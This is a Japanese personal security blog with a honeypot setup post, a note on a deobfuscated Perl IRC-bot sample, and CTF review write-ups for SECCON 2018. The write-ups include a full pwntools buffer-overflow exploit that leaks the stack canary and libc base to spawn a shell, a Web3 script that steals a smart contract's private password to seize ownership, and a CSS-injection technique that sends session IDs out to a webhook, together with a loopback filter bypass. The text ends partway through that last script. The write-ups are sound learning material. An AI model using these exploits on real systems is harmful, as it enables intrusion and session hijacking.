Perlマルウェア解析メモ
自分用にメモ。
ちょっと前に立てたハニポが好評らしく、検体がそこそこ集まっているなか、1つだけ難読化もどきがされているものがあったので調べてみた。
検体のハッシュ値
SHA256: a5a62669414b7e87eef6bf809bae9ee65e3970017e75939e1466cbaa15a9686b
MD5: 331bafbf48e1ece5134bc42f4a9bd2be
パッと見だとeval unpack
の後に適当な文字列がならんでいたので、これは展開して実行するんだなと思いながら検索していると、どうもPerlの関数らしいということが分かった。
そこで、eval -> printにするだけというありきたりなやり方で表示させたら見事展開したコードが取得できた。
中身は、指定されたホストの6665に接続するircボットらしかった。 ネットワークスキャン、バックドア、DDoS機能も付いてるっぽい。
他のマルウェア、Mirai系とかは難読化されていないらしかったので目に付いた。 もっとも、ただデータをpackしていただけなので、難読化ってほどじゃなかったけど。
VirusTotalに投げてみたら、難読化状態ではなんと検知0だった。 難読化解除してから投げたら、検知数は26/57だった。 あんな単純な難読化のスクリプトでも検知できないのは少し驚いた、振る舞い検知みたいなことはしてないらしい。
Honeypot始めました
寒くなってきたのでハニポを立てることにしました。
設定とか
ハニポサーバ
ssh, telnetのハニーポットであるcowrieを、Docker上で動かすようにしました。 AWSのEC2の無料枠内を使ってます、今のところ問題なく動作しているみたいです。 ハニーポットとかAWSとか何もかも始めてでしたが1日でセットアップを終わらせることができました。 Dockerだとローカルで再現して検証するのが楽でいいですね。
docker-compose.ymlはこんな感じです。
version: '3' services: cowrie: image: cowrie/cowrie:latest ports: - "22:2222" - "23:2223" volumes: - ./etc/cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg:ro - ./var:/cowrie/cowrie-git/var
これだけで動く、最高!
cowrie/cowrieのイメージは一応cowrieの公式イメージだそうです、githubの方にリンク貼ってあるし多分問題ないでしょう。
設定は./etc/cowrie.cfg
に配置してあるのをコンテナにも置くようにして反映させています。
ログは./var
に置かれるようにしています、マルウェアも降ってくるのであんまり良くない気もしますが多分大丈夫でしょう。
コンテナにマウントする前に、./var内に適切にディレクトリを配置しておかないとエラーを吐くので注意が必要です。
以下のようになっていれば大丈夫です。
var/run var/lib var/lib/cowrie var/lib/cowrie/tty var/lib/cowrie/downloads var/log var/log/cowrie
出力はjson形式でやっています。 本当はElasticsearchに吐くようにしたいけど、AWS無料枠制限でこれ以上サーバを立てられないのでローカルにログを移動してそれをローカルのElasticsearchに投げてます。 雑ですね。
cowrieの設定は、telnetを開けて認証をランダムにしたくらいです。
ログ解析環境
解析環境は、ElasticsearchとKibanaをDockerで動かしています。 Docker素晴しい。 docker-compose.ymlはこんな感じ。
version: '3' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:6.4.2 environment: - "ES_JAVA_OPTS=-Xms512m -Xmx512m" ulimits: memlock: soft: -1 hard: -1 expose: - 9200 ports: - 9200:9200 networks: intra: ipv4_address: 172.16.200.102 volumes: - ./elasticsearch/data:/usr/share/elasticsearch/data kibana: image: docker.elastic.co/kibana/kibana:6.4.2 volumes: - ./kibana/kibana.yml:/usr/share/kibana/config/kibana.yml:ro networks: intra: ipv4_address: 172.16.200.103 depends_on: - elasticsearch nginx: image: nginx:latest volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro - ./nginx/htpasswd:/usr/local/nginx/.htpasswd:ro networks: intra: ipv4_address: 172.16.200.104 ports: - 80:80 networks: intra: driver: bridge ipam: driver: default config: - subnet: 172.16.200.0/24
kibana.ymlだけ用意する必要がある(Elasticsearchのアドレス指定のため)が、Nginxを消してKibanaの方に80:5601
とか設定すればnginx関連は不要になる。
他の用途に使っていたものを流用しているのであまり最適化されてないですね。TODO: あとでやる
いろいろ遊んでる。
運用状況
さっそく色々降ってきてるみたいで、有名なraspberryraspberry993311もいた。 他にもjirenみたいな名前のやつとかxorddosみたいな名前のやつとか来てました。
ログインをランダムにしているので、色んなログイン情報取れるのが良い感じ。
どこかのサーバからロシアの検索エンジンあてのクエリみたいなものが転送されてくるのが一番謎ですね。 AmazonとかにHTTPクエリっぽいのが転送されてきてました。
ストレージは30GBくらいまで持つみたいなので、ログはギリギリまで溜めて削除する運用方針です。
今後
次はtsharkとかでパケットのログも取りたいところです。 おもしろいログがあったら書きます。
SECCON CTF 2018 Online Profile 復習
SECCON CTF 2018 Online Profile 復習
参考にしたサイト
- https://teamrocketist.github.io/2018/11/04/Pwn-Seccon-2018-Profile/
- Writeupその1、丁寧な方
- https://github.com/sajjadium/ctf-writeups/tree/master/SECCON/2018/profile
- Writeupその2、概要しか書かれていないのでこれだけでは解けなかった
- http://shift-crops.hatenablog.com/entry/2018/11/05/042149
- 作問者さまのサイト、ソースコードとExploitを参考にした
問題
profileというプログラムとlibcが降ってくる。
セキュリティ機構は以下。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
標準的なセキュリティ機構は有効で変わったところはない。
次はfile
の出力。
profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped
x64らしい。
解析
Radare2で解析してみたらC++だった。
復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。
Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。
stringクラス
Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。
自分じゃコードとか解析しきれなかった、パワーが足りない...
Writeupその1から取ってきたPoCコード。
#include <cstdlib> #include <iostream> #include <string> // replace operator new and delete to log allocations void* operator new(std::size_t n) { std::cout << "[Allocating " << n << " bytes]"; return malloc(n); } void operator delete(void* p) throw() { free(p); } int main() { for (size_t i = 0; i < 24; ++i) { std::cout << i << ": " << std::string(i, '=') << std::endl; } }
実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msg
で使われているmalloc_usable_size
はスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。
作問者さまのサイトから拾ってきたソースコードの該当する部分。
void Profile::update_msg(void){ char *buf; size_t size; buf = (char*)msg.c_str(); if(!(size = malloc_usable_size(buf))){ // ここで負数が返される cout << "Unable to update message." << endl; return; } cout << "Input new message >> "; getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる }
説明のためにコード中にコメントを書き加えた。
Exploit
stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。
0c:0060│ rax rdi 0x7fffffffd490 <- 0x54534554 /* 'TEST' */ 0d:0068│ 0x7fffffffd498 -> 0x401544 <- no 0e:0070│ 0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、文字列が格納されている場所へのポインタ 0f:0078│ 0x7fffffffd4a8 <- 0x4 # Profile p.msg、格納されている文字数 10:0080│ 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、バッファの前半部分 11:0088│ 0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop rbp #Profile p.msg、バッファの後半部分 12:0090│ 0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、文字列が格納されている場所へのポインタ 13:0098│ 0x7fffffffd4c8 <- 0x4 # Profile p.name、格納されている文字数 14:00a0│ 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、バッファの前半部分、16バイト 15:00a8│ 0x7fffffffd4d8 <- 0x0 # Profile p.name、バッファの後半部分 16:00b0│ 0x7fffffffd4e0 <- 0x14 # Profile p.age、20を入力した 17:00b8│ 0x7fffffffd4e8 <- 0x9772425bb8672300 # canary、prev rbpとの間はパディング? 18:00c0│ 0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1 19:00c8│ 0x7fffffffd4f8 <- 0x0 1a:00d0│ rbp 0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push r15 # prev rbp 1b:00d8│ 0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov edi, eax # return address
スタックの配置がこんな感じになっているので、Profile::update_msg
のgetn(buf, size);
でバッファオーバーフローさせることで、p.name
の文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profile
を選択することで、任意のアドレスの値を表示させられる。
ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XX
の範囲の値を全て見ることができる。
また、Profile p
がスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p
自身も含まれている可能性が高い。
以上のことから、0x00から0xffの範囲をダンプしてp.msg
に入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。
次に、p.name
の指すアドレスをGOT領域のread
に設定して、read
が実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem
と/bin/sh
かone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。
Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './profile' libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('profile.pwn.seccon.jp', 28553) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== menu = {'exit': '0', 'update': '1', 'show': '2'} io = start(env={ 'LD_PRELOAD': './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' }) elf = ELF(exe) libc = ELF(libc) # メニューの'update message'へ、payloadを入力する def update(payload): io.sendlineafter('>> ', menu['update']) io.sendlineafter('Input new message >> ', payload) # メニューの'show profile'を呼び出すだけ def show(): io.sendlineafter('>> ', menu['show']) # p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す # パディングはあとでp.msgの位置を特定するために使う def leak_val(addr, padding='AAAAAAAABBBBBBBB'): assert (len(padding) == 16) update(padding + addr) show() io.recvuntil('Name : ') # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要 out = io.recvuntil('Age :').strip().ljust(8, '\x00')[:8] return u64(out) name = 'X' * 15 age = '20' msg = 'Y' io.sendline(name) io.sendline(age) io.sendline(msg) # スタックの値をダンプする leak_vals = [] for i in range(0, 0x100, 8): leak = leak_val(chr(i)) log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak)) leak_vals.append(leak) # パディングで設定した値から、p.msgの位置を特定する if u64('A' * 8) not in leak_vals: print("Canary is not found on the stack, retry.") io.close() exit(1) # 特定したp.msgの位置からのオフセットで他の値を取得する msg_pos = leak_vals.index(u64('A' * 8)) canary = leak_vals[msg_pos + 7] prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う # p.nameの文字列へのポインタのアドレス # main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う # 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる profile_name_addr = leak_vals[msg_pos + 2] log.info('canary: 0x{:x}'.format(canary)) log.info('prev_rbp: 0x{:x}'.format(prev_rbp)) # オーバーフローでシェルを起動する # read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する read_got = leak_val(p64(elf.got['read'])) libc_base = read_got - libc.symbols['read'] one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい payload = 'A' * (8 * 2) # p.msgのバッファを埋めるパディング payload += p64(profile_name_addr + 0x10) # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる payload += 'B' * (8 * 4) # パディング payload += p64(canary) payload += 'X' * 8 payload += 'X' * 8 payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定 payload += p64(one_gadget) # シェルを起動 update(payload) io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする io.interactive()
感想
C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。
SECCON CTF 2018 Online Smart Gacha Lv.1 復習
Smart Gacha Lv1の復習
Writeup見ても全然分からなかったので残しておく。
Ethereumの知識が0の状態から突貫でやっているのでその辺りの記述は多分間違っています、注意してください。
参考にしたのはこのあたり、あとは公式のドキュメントとかWeb3.pyのドキュメントとか。
- https://cookies.hatenablog.jp/entry/2018/10/28/184145
- https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925
- https://qiita.com/tomohata/items/8a1156397a6b61df9d75
- https://legacy.gitbook.com/book/a-mitani/mastering-ethereum/details
問題
Toggle the "getItem" boolean value in "fair lottery contract" to true. If you are lucky, you have only to press "test luck" button once. Even if you are not lucky, all you have to do is press the button 1,000,000 times.
Server: http://ether.pwn.seccon.jp/
解説
https://cookies.hatenablog.jp/entry/2018/10/28/184145のWriteupを参考にしながら解いた。
問題の解析
ServerのURLにアクセスすると、ログイン画面のようなページが表示される。
でも多分ログインは関係ないはずで、アカウントやパスを入れてもInternal Server Errorが出るだけだと思う。
Signupのところでパスワードが入力できるので、そこでパスワードだけ入力すると問題の"Lottery"にアクセスできる。
このパスワードは後から使うので忘れないように。
アカウントアドレスは空欄のままで問題ない。
正直誘導が不親切だと思う(本番で詰まってた)。
パスワード入れてRegister押せばOK、"Lottery"が表示される。
"Claim ETH", "Deploy Lv1", "Deploy Lv2", "Your own client?"の4つのボタンと、"Wallet Address"と"Balance"の表示がある。
このETHというのはEthereumという分散型アプリケーションプラットフォームプロジェクトで使われる内部通貨の単位のことだと思う。
検索しても適当な用語の使い方をしているサイトばかりで、細かい用語の正しい意味が分からなかった。
まずは"Claim ETH"から問題を解くのに必要なEthereumの通貨を取得する。
しばらく待つと"Balance"が10ETHになる、これを元に問題を解ける。
無くなったらクッキーを削除して再登録すればまたもらえるはず。
こんな感じになってるはず、アドレス見えてるけど閉じてるネットワークだし多分大丈夫だろ(適当)。
次に"Deploy Lv1"を押して、Lv1の問題のスクリプトを読み込む。
すると、"Test Luck!!"と書いてあるボタンとテーブルが追加されている。
こんな感じ。
この"Test Luck!!"を押すと、"Played"が増えて"Balance"が微妙に減る。
問題文から察するに、このクジを当てればいいらしい。
当然まともに当てるわけがない。
クジを当てるには、このクジがどのように動作しているのか調べる必要があるため、ソースコードなんかを探す。
ソースと通信からいくつかのスクリプトが読み込まれているのが分かる。
この中のひとつである"Gacha.sol"がこの"Lottery"のプログラムになる。
一緒にロードされている"/static/lottery.js"を見れば分かるかもしれないが、直感でも何となく分かるだろう。
pragma solidity^0.4.24; contract Gacha { address public owner; address public player; uint256 public played = 0; uint256 public seed; uint256 public lastHash; bool public getItem = false; bytes32 private password; modifier onlyOwner() { require(owner == msg.sender); _; } constructor(bytes32 _password, uint256 _seed, address _player) public { owner = msg.sender; player = _player; password = _password; lastHash = uint256(blockhash(block.number-1)); seed = _seed; } function pickUp() public returns(bool) { require(player == msg.sender); uint256 blockValue = uint256(blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; played++; if (mod(played, 1000000) == 0) { getItem = true; return getItem; } uint256 result = mod(seed * block.number, 200000); seed = result; if (result == 12345) getItem = true; // Flag is here!! return getItem; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function initSeed(uint256 _seed) onlyOwner public { seed = _seed; } function changeOwner(bytes32 _password) public { if (password == _password) owner = msg.sender; } }
わざわざコメントでフラグの場所を教えてくれている、このgetItem
の値がtrue
になるようにすればいいらしい。
前後関係から見て、seed * block.number % 200000 == 12345
がtrue
になればいいはず。
Ethereum
ここから先のことを理解するにはEthereumを知っていないといけなかったので調べた。 解くのに必要な最低限のことを最低限以下の理解で書いているので、間違ってる可能性が大いにあることに注意。
Ethereumでは、簡単に言うとブロックチェーン上にあるプログラム(コントラクトと呼ばれるらしい)を持つことができ、それを仮想マシン(Ethereum Virtual Machine, EVMというらしい)で実行することができる。
そして、コントラクトを実行した結果をブロックチェーン上に記録していくようになっている。
スマートコントラクトというらしい、詳しい実装などは知らない。
"Gacha.sol"もそのようなプログラムのひとつで、これはSolidityという言語で記述されている。
このコードはコンパイルされ中間表現のバイトコードとしてブロックチェーン上に記述される、その中間コードが実際に実行される。
問題を解く上で重要なのは、Ethereumのコントラクトのコードと一部のデータはブロックチェーンに記録されているため、そのネットワークに参加している人間なら誰でも見ることができるということである。
private宣言されていてもデータとして直接見ることは可能である。
調べた限りではブロックチェーン上に記録しないデータを持つことも可能らしいが、この問題のプログラムでは使われていないので無視する。
脆弱性
Ethereumの特徴から考えると、このプログラムの中のpassword
はネットワークの参加者なら誰でも見ることができるということが分かる。
password
が分かっているのでchangeOwner
関数の呼び出しを通じてこのコントラクトのオーナーになれる、ということらしい。
オーナになると、initSeed
を呼び出して任意のシードを設定できるようになる。
どのような値を設定すればクジを当てられるかは簡単な算数で分かる。
seed * block.number % 200000 == 12345
が真になればいいので、seed = 12345 * (block.number^-1 mod 200000)
と設定すればいい。
逆元により、12345 * block.number^-1 * block.number mod 200000 = 12345
となる。
詳しくはmodの逆元で検索すればいいんじゃないかな。
これでどうすればいいかが分かったので、あとはやるだけである。
Exploit
EVMのコードを実行する方法はいくつかあって、Writeupでは”geth”というEthereumのクライアントのコンソールから直接コマンドを実行していた。
前提知識が欠けていたのでまったく分からなかったが。
他にも、RPCを利用してJavaScriptやPython経由で利用することもできる。
ここではPythonを使うことにする。
接続
問題を解く前に、CTFで使ってるEthereumのネットワークに接続する必要がある。
ここではgeth
をDocker上で起動して使うことにする。Dockerのインストールなどは他の記事を見て欲しい。
https://github.com/ethereum/go-ethereum/wiki/Running-in-Docker gethの公式のイメージがあるので、そのまま使わせてもらうことにした。
この問題で使っているネットワークへ接続するための設定ファイルは、"Your own client?"のメニューから取得できる。
"Configuration files"のリンクから設定ファイルをダウンロードして使う。
ダウンロードしたZipを解凍すると"connection"というディレクトリが出てきて、この中に設定がある。
サンプル中の"connection"はこのディレクトリだと思って解釈して欲しい。
起動するためのコマンドは以下の通りになる。
mkdir ether-data # 設定やブロックチェーンなどのデータが書き込まれるディレクトリを作成 # ethereum/client-go以降は、Docker内で実行されるgethに渡されるオプションになる # connectionとether-dataをDocker環境ないからも参照できるようにして、オプションで設定ファイルとデータの保存場所として指定している docker run -it -v $(pwd)/connection:/connection -v $(pwd)/ether-data:/data ethereum/client-go --datadir /data init /connection/genesis.json # --rpcapiでRPCからアクセスできるAPIを指定している、指定しないといくつかの機能がPythonから使えなくなるので注意 # --rpcと--rpcaddrでRPCの起動とアドレスを指定、ポートは初期設定のものに接続できるようにDockerで指定している docker run -it -v $(pwd)/ether-data:/data -p 8545:8545 -p 30303:30303 ethereum/client-go --datadir /data --networkid=2994 --nodiscover --rpcapi eth,web3,personal,admin --rpc --rpcaddr "0.0.0.0"
これでgethが起動する、うまくいっていればログが表示されているはずである。
コード
Pythonで作った攻撃スクリプト、何度か実行する必要があるかもしれない(ブロックチェーンの状態は他の人も変化させられるため)。
Web3というEthereumにアクセスするためのライブラリを使うので、pipでインストールする必要がある。 あとPython3じゃないとだめなので注意。
from web3 import Web3 # Ethereumのコードを実行するためには、手元にコンパイルしたコードが必要になる # 直接Solidityのコンパイラを使ってもいいが、オンラインで使えるコンパイラがあるのでそっちを使った # https://remix.ethereum.org/ # Gacha.solのコードをコンパイルするには、コンパイラのバージョンをファイル先頭に書いてある0.4.24に合わせる必要がある、nightlyが付いてないやつ # コンパイルしたあと、ABIからクリップボードにコピーできる # falseとtrueだけFalseとTrueに合わせる必要がある # こちらがそのabi abi = [{ "constant": False, "inputs": [{ "name": "_seed", "type": "uint256" }], "name": "initSeed", "outputs": [], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": True, "inputs": [], "name": "played", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [], "name": "pickUp", "outputs": [{ "name": "", "type": "bool" }], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": True, "inputs": [], "name": "lastHash", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "player", "outputs": [{ "name": "", "type": "address" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "seed", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "owner", "outputs": [{ "name": "", "type": "address" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "getItem", "outputs": [{ "name": "", "type": "bool" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [{ "name": "_password", "type": "bytes32" }], "name": "changeOwner", "outputs": [], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{ "name": "_password", "type": "bytes32" }, { "name": "_seed", "type": "uint256" }, { "name": "_player", "type": "address" }], "payable": False, "stateMutability": "nonpayable", "type": "constructor" }] # それぞれで違うので設定する必要がある contract_addr = "<Test Luck!!のところのContract Address>" wallet_addr = "<Wallet Address>" # wallet addr of lottery w = Web3() # connection/static-nodes.jsonにある接続先の情報、これで自分の環境で動作するDockerからCTFのネットワークに接続できる w.admin.addPeer( "enode://fdc1d08a0902a563c5c593b2ee33224b4e8963ed4b6bd0fd6c7cb5531c33985f696675387b9751c24cc3a691981f888df5b8ab9a4a72646a46d4f1a8f2e4bb36@163.43.117.58:30303?discport=0" ) w.admin.addPeer( "enode://c1905ca15641a649d819798103da61438a33df2a1de6a4b179cfd345346975e4e7a3b2d7131cae00284b89526e90f63ae5753f98b3498a0fe5ac0c47a5ec625b@163.43.117.33:30303?discport=0" ) w.admin.addPeer( "enode://fb41e22d8f1b1142f583ed4bcd8eb448f527cf780029fad529fc06c458e5093d0fdf265925a01612b4e477feaf1aa22422f2b0752d6318bc33671f34bc802b0c@163.43.117.44:30303?discport=0" ) # どっかからパクってきたmodの逆元計算のための拡張GCD def egcd(a, b): (x, lastx) = (0, 1) (y, lasty) = (1, 0) while b != 0: q = a // b (a, b) = (b, a % b) (x, lastx) = (lastx - q * x, x) (y, lasty) = (lasty - q * y, y) return (lastx, lasty, a) passphrase = "<最初に入力したパスワード>" # connection/prv.keyにある、Walletの秘密鍵のインポート # これで割り当てられたETHを使えるようになる prv_key = '' with open("./connection/prv.key") as f: prv_key = f.read() key = w.eth.account.decrypt(prv_key, passphrase) w.personal.importRawKey(key, passphrase) # アカウントのアンロック # よく分からない、ログイン処理みたいなものだろうか w.personal.unlockAccount(w.eth.accounts[0], passphrase) w.eth.defaultAccount = w.eth.accounts[0] # 登録したアカウントをデフォルトで使うように contract = w.eth.contract(contract_addr, abi=abi) # ストレージ中からパスワードを取得 # 6がパスワードの位置になる # 前後の値を見てコード中の変数宣言に対応させていけば大体分かる password = w.eth.getStorageAt(contract_addr, 6) # changeOwnerを呼び出す、transactしないとブロックチェーンに記録してくれないらしい contract.functions.changeOwner(password).transact() # seed * blockNum mod 20000 == 12345 => (seed * blockNum - 12345) / k is Integer, 200000k # 以下を何回か繰り返せば、そのうち当たる # 人が多いときは+ 1より大きくする必要がある # たまにエラー、リクエストが多いとダメらしい block_num = w.eth.blockNumber + 1 x, _, _ = egcd(block_num, 200000) if x < 0: x += 200000 # gasというのは手数料みたいなもので、それなりに重い関数だと必要らしい contract.functions.initSeed(12345 * x).transact({"gas": 1000000}) w.eth.getTransaction(contract.functions.pickUp().transact()) w.eth.getTransaction(contract.functions.getItem().transact()) # 連続して実行するとエラーが出るので、ちょっとまってから実行するといい
だいたいこれで動く。 うまくいけば、Lotteryを更新するとFlagが表示される。
まとめ
Writeupを見ても、Ethereumの知識がないとまったく分からなかったので調べてやってみた。
ブロックチェーン上に状態とコードが保存されるのでコードの実行を一種の取り決めのように扱えるみたいな感じなんだろうか、新鮮だった。
正直CTF中にここまで調べて解くのは僕には無理っす、解けてる人すごい。
SECCON CTF 2018 Online Ghost Kingdom 復習
SECCON CTF 2018 Online Ghost Kingdom 復習
https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。
問題
http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOP
と表示される。
GO TO TOP
のリンクから問題の脆弱性があるサービスに接続できる。
サービス
ログインするとMessage to admin
, Take a screenshot
, Upload image
の3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。
以下に各機能の簡単な説明。
Login
ログインはGETにより行われる、普通はPOSTが使われる。
ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。
URLを通じてローカルネットワークから各機能を使わせるのに使った。
Message to admin
Normal
とEmergency
の2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。
Previewボタンを押すとメッセージのプレビューが表示される。
Normal
では何もないが、Emergency
だと色が付くようになっている。
Previewボタンでの通信を見ると、css
というパラメータが使われているのが分かる。
値の末尾を見ると=
が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。
CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors
これを利用してある属性の値をリークさせる。
メッセージ送信の通信を見ると、hiddenパラメータとしてcsrf
という値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrf
に設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。
Take a screenshot
URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。
この機能とGETによるログインを利用して、サーバからログインしたりさせられる。
Upload image
* Only for users logged in from the local network
と表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。
最終的にこの機能からコマンド実行をする。
解き方
まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。
そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。
セッションハイジャック
セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタとcsrf
にセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。
input[name=<attr-name>][value$="tail"] { color: green; }
で、inputタグの属性<attr-name>
の値の末尾がtail
であるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }
のようなCSSをMessage to admin
で渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。
Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2
これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。
URLにhttp://localhost
のように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=pass
みたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login
スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
このIDをcookieのCGISESSID
に設定してやればアップロード機能が使えるようになる。
セッションIDの特定に使ったスクリプト。
import base64 import requests import time host = 'http://ghostkingdom.pwn.seccon.jp/' own_host = '<webhookinbox url>' def login(session): return session.get( host, params={"user": "tkgsytest", "pass": "seccon", 'action': 'login'}) def take_sshot(session, url): print(url) time.sleep(31) return session.get(host, params={"action": "sshot2", "url": url}) def login_at_local(session): url = 'http://2130706433/?user=<username>&pass=<password>&action=login' return take_sshot(session, url) def send_msg_at_local(session, css): template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}' enc_css = base64.b64encode(css) return take_sshot(session, template.format(enc_css)) def get_injection_css(known_tails): temp1 = 'input[name=csrf][value$="{}{}"]' temp2 = 'background: url("{}{}");' payload = '' for i in range(16): trial = hex(i)[2] payload += 